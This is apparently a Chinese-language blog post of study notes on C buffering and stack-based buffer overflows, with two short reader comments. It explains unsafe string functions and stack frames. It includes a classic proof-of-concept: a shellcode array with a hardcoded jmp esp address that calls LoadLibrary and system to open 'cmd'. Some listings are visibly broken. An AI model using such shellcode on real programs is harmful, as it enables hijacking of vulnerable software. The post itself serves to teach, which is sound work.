C语言缓冲区溢出总结笔记

1.什么是缓冲区

我们可以做个比喻,比如我们从U盘或存储设备里读取信息,我们先把读出来的数据放在缓存区,然后计算机直接从缓冲区读取数据,等缓冲区的数据取完后再去磁盘读取,这样就可以大大的减少磁盘读取次数,再加上计算机对缓冲区的比磁盘的操作快了不少,从而更快的提高计算机的运行速度。

2.缓冲区的类型

  • 全缓冲

全缓冲是制定当缓冲区满了才进行I/O的读写操作,一般磁盘文件是全缓冲的(缓冲区字节为4096)

  • 行缓冲

行缓冲是指当遇到换行符号(既:\n)后进行I/O操作,当缓冲区满了也要进行操作,典型代表是标准输入(stdin)和标注输出(stdout)

printf("Hello C Buffer---→\n");
  • 不带缓冲

也就是不进行缓冲,自行百度或者敲代码理解...

在ANSIC(C89)里面要求缓存具有以下特征:

  • 当且仅当标准输入和标准输出并不涉及交互设备时,它们才是全缓存的

  • 标准出错绝不会是全缓存的

但是很多系统是那么实现的:

  • 涉及到交互时,标准输入输出为行缓冲,否则为全缓冲

  • 标准错误输出总是无缓冲

如果我写到这里你还不知道缓冲和内存的区别,下面有一张图,自行理解

(图一:程序在内存中的映射)

3.C语言缓冲区溢出实例

简单来说,缓冲区就是一块连续的计算机内存区域,它可以保存多个实例,举个例子,程序猿的ctrl+c,ctrl+v(开玩笑的啦),正确来说可以保存数字数组字符串(C86不知道有没有)等等,而缓存区溢出则是指当前计算机向缓冲区内填充数据位时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。

标准C语言函数库里提供了没有边界检查的字符串处理函数

  • strcat()strcpy()sprintf()vsprintf()函数对一个null结尾的字符串进行操作,并不检查溢出情况;

  • gets()函数从标准输入中读取一行到缓冲区中,直接换行('\n')或EOF,它也不检查缓冲区的溢出

  • scanf()函数在匹配一系列非空格的字符('%s')或指定集合(%[])中匹配空系列字符时,使用字符指针指向数组,并且没有定义最大字段宽度的可选项,则有可能出现问题...

然而,如果这些函数的目标地址是一个固定大小的缓冲区,而函数的另外参数是由用户以某种形式输入,则有可能被人利用缓冲区溢出来破破解,比如某邮箱溢出程序(6xx.c疯狂暗示)

堆栈段分为堆(Heap)和栈(Stack)堆用来存储程序运行时分配的变量;而栈则是一种用来存储函数调用时的临时信息的结构,如函数调用所传递的参数、函数的返回地址、函数的局部变量等。在程序运行时由编译器在需要的时候分配,在不需要的时候自动清除。这里需要特别注意的是,堆(Heap)和栈(Stack)是有区别的,很多程序员混淆堆栈的概念,或者认为它们就是一个概念。简单来说,它们之间的主要区别可以表现在如下三个方面。

1)分配和管理方式不同

堆是动态分配的,其空间的分配和释放都由程序员控制。也就是说,堆的大小并不固定,可动态扩张或缩减,其分配由 malloc() 等这类实时内存分配函数来实现。当进程调用 malloc 等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用 free 等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)。

而栈由编译器自动管理,其分配方式有两种:静态分配和动态分配。静态分配由编译器完成,比如局部变量的分配。动态分配由 alloca() 函数进行分配,但是栈的动态分配和堆是不同的,它的动态分配是由编译器进行释放,无需手工控制。

2)产生碎片不同

对堆来说,频繁执行 malloc 或 free 势必会造成内存空间的不连续,形成大量的碎片,使程序效率降低;而对栈而言,则不存在碎片问题

3)内存地址增长的方向不同

堆是向着内存地址增加的方向增长的,从内存的低地址向高地址方向增长;而栈的增长方向与之相反,是向着内存地址减小的方向增长,由内存的高地址向低地址方向增长。
现在,假设一个程序的函数调用顺序为:主函数 main 调用函数 func1,函数 func1 调用函数 func2。当这个程序被操作系统调入内存运行时,其对应的进程在内存中的映射结果如图 2 所示。

(图二:示例程序在内存中的映射)

由此可见,进程的栈是由多个栈帧构成的,其中每个栈帧都对应一个函数调用。当函数调用发生时,新的栈帧被压入栈;当函数返回时,相应的栈帧从栈中弹出。

对于缓冲区溢出可以分为4种类型,这四种和上面的缓冲区不一样,这里指的是溢出:

  • 栈溢出

  • 堆溢出

  • BSS溢出

  • 格式化溢出

根据某大佬提供的讲解,这里栈溢出时最简单也是最常见的一种溢出方式。结合大佬的网站我们来以栈溢出阐述缓冲区溢出的原理!

当程序中发生函数调用时,计算机做如下操作:首先把指令寄存器 EIP(它指向当前 CPU 将要运行的下一条指令的地址)中的内容压入栈,作为程序的返回地址(下文中用RET表示);之后放入栈的是基址寄存器 EBP,它指向当前函数栈帧的底部;然后把当前的栈指针 ESP 复制到 EBP,作为新的基地址;最后为本地变量的动态存储分配留出一定空间,并把 ESP 减去适当的数值。

这里我来敲一段代码,来展示程序在执行过程中对栈的操作和溢出的产生过程

是不是感觉输出不规范呢?那是因为EBP和返回地址RET及\\x&a的输出格式不一致,让我们稍作修改..

上面的示例代码定义了一个 8 字节的缓冲区 arr[8],然后使用函数 strcpy 来将数组 c 的内容复制到该缓冲区中。由于数组 c 中的数据长度超过了 8 字节,数组 arr 容纳不下,只好向栈的底部方向继续写入“A”。因此,数组 c 中的数据依次覆盖了 EBP 和返回地址 RET(两个都是 32 位的,占用 4 字节),使得 strcpy 函数返回后的 EIP 指向0x41414141(0x41414141 也就是“AAAA”的 ASCII码)。
很显然,地址 0x41414141 是非法的,CPU 会试图执行 0x41414141 处的指令,结果出现难以预料的后果,所以程序会出现异常而退出。

程序代码(c_cache.c)

/*冰崖==========
栈区溢出操作产生过程
*/
char c[]="AAAAAAAAAAAAAAAA"; //建议使用字符串,如(BBBBBBBBBBBBBBB)
int main(void)
{
      char arr[10];
      /*执行复制上面那如果长度超过10则出现缓冲区溢出*/
      strcpy(arr,c);//调用函数strcpy()
      for(int i=0;i<10&&arr[i];i++)
{
      printf("\\x%xx",arr[i]);
}
printf("\n");
return 0;

在上面的示例代码中,程序把函数返回后的 EIP 修改成 0x41414141,这是因为数组 c 中的数据“AAAA”将返回地址覆盖了的结果。其中,“A”对应的 ASCII 码的十六进制表示是 41,因此,“AAAA”就是 0x41414141。为了验证这个事实,我们现在继续将数组 c 中的最后 4 个元素(覆盖返回地址的部分)改成“ABCD”,示例代码如下所示:

这是因为在 Windows 32 系统中由低位向高位存储一个 4 字节的双字(DWORD),但作为数值表示的时候,却是按照高位字节向低位字节进行解释的,所以,内存地址与我们逻辑上使用的“数值数据”的顺序相反。如果这时候能够把 EIP 修改指向我们的代码,就可以接管程序的控制权,从而做任何事情。示例代码如下所示:

/*冰崖==========
栈区溢出操作产生过程
*/
char shellcode[]=
   "\x41\x41\x41\x41"
   "\x41\x41\x41\x41"
   /*覆盖ebp*/
   "\x41\x41\x41\x41"
   /*覆盖eip, jmp esp 地址7ffa4512*/
   "\x12\x45\xfa\x7f"
   "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
   "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
   "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
   "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
   "\x8d\x45\xf4\x50\xb8"
   /* LoadLibrary 的地址*/
   "\x77\x1d\x80\x7c"
   "\xff\xd0"
   "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
   "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
   "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
   "\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
   "\xba"
   /*System 的地址*/
   "\xc7\x93\xbf\x77"
   "\xff\xd2";
   int main()
{
   char arr[8];
   strcpy(arr, shellcode);
   for(int i=0;i<8&&arr[i];i++)
{
   printf("\\0x%x",arr[i]);
}
   printf("\n");
   return 0;[/title]

   

好了总的大概就那么多了,最后在做一个总结缓冲区的大小是可以改变的,也可以将文件关联到自定义的缓冲区,详情可以查看 setvbuf() 和 setbuf() 函数

点赞
  1. 大田说道:
    Google Chrome Windows 10

    wwww (/ω\) 理解できない

    1. Po7mn1 icecliffs说道:
      Google Chrome Windows 10

      何言ってるの?

发表评论

电子邮件地址不会被公开,只有你知道( ̄▽ ̄)"